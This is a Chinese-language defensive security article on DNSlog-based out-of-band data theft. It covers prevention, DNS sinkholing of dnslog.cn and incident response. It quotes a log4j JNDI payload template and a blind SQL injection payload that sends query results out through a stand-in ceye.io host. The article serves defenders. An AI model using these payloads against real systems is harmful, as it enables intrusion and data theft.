前言
DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。
所以这里跟最初的猜想基本一致,原理也就是通过DNS请求后,通过读取日志来获取我们的请求信息。
本技战法以攻击视角为切入点,构建适用于任意行业网络安全的“DNSlog安全防御体系”。
以攻击者视角看DNSlog
(一)DNSlog用途
根据近年来攻防演练的经验,DNSlog经常被用于:数据无回显,命令执行,log4j漏洞检测,CSRF漏洞检测等所有涉及无回显,高隐蔽的攻击。
(二)使用DNSlog常用手段
DNSlog的使用,通常要和其他漏洞结合使用,有以下三种常见的方式:
-
命令执行无回显通过DNSlog执行命令,将数据带出网络,回显到DNSlog平台
2.近年的log4j漏洞的检测POC为:${jndi:ldap://ip:port/exp}以及一些变种、编码绕过等
3.SQL注入无回显利用
这是一条利用dnslog进行无回显注入
1. ?id=1' and if((select load_file(concat('\\\\',(攻击代码),'.xxxxxx.ceye.io\\abc'))),1,0)--+
DNSlog攻击预防
(一)事前排查
-
如果是Java业务,并且使用了log4j,一是排查是否安装了最新补丁,自查资产。
-
将业务系统更新到最新系统,并且时刻检测是否有更新包
(二)提前预判,提前阻拦
通过FOFA、鹰图、钟馗之眼、360资产测绘、Shodan等资产测绘平台,以DNSlog平台为指纹,提前收集DNSlog地址,并且在域控DNS服务器添加正向解析,防止数据被外带。
配置如下
*.dnslog.cn A 127.0.0.1
这样所有DNS数据将被发送到本地,不被外带,留给充足的时间应急响应。
(三) 事中排查与分析
当发现服务器出现DNSlog数据外带的告警,通过以下方式开展排查与分析工作:
Wireshark抓包工具
事后溯源与处置
当发现服务器被植入了DNSlog流量,处置思路如下所示:
一是快速处置:首先隔离受影响的服务器。
二是分析目的地址:通过抓包,过滤出DNSlog的地址,确定为真实流量。
三是溯源分析:根据威胁分析平台中的威胁告警、Web访问流量等,综合判断攻击者通过什么漏洞进行的攻击,还原完整攻击链;
四是应急处置:先通过DNS服务器,重定向DNSlog地址到127.0.0.1,然后进行排查服务器的网络状态、异常文件、异常进程、异常用户、异常启动项、异常计划任务等,清除攻击者留下的后门。
五是修复漏洞:根据溯源分析还原的完整攻击链,制定相关漏洞修复方案,并进行修复。
六是缓解措施:若暂时无法修复漏洞,使用WAF封禁漏洞利用的接口,或通过代理服务器的访问规则屏蔽漏洞利用的接口。
七是业务恢复:处置完毕,业务重新上线。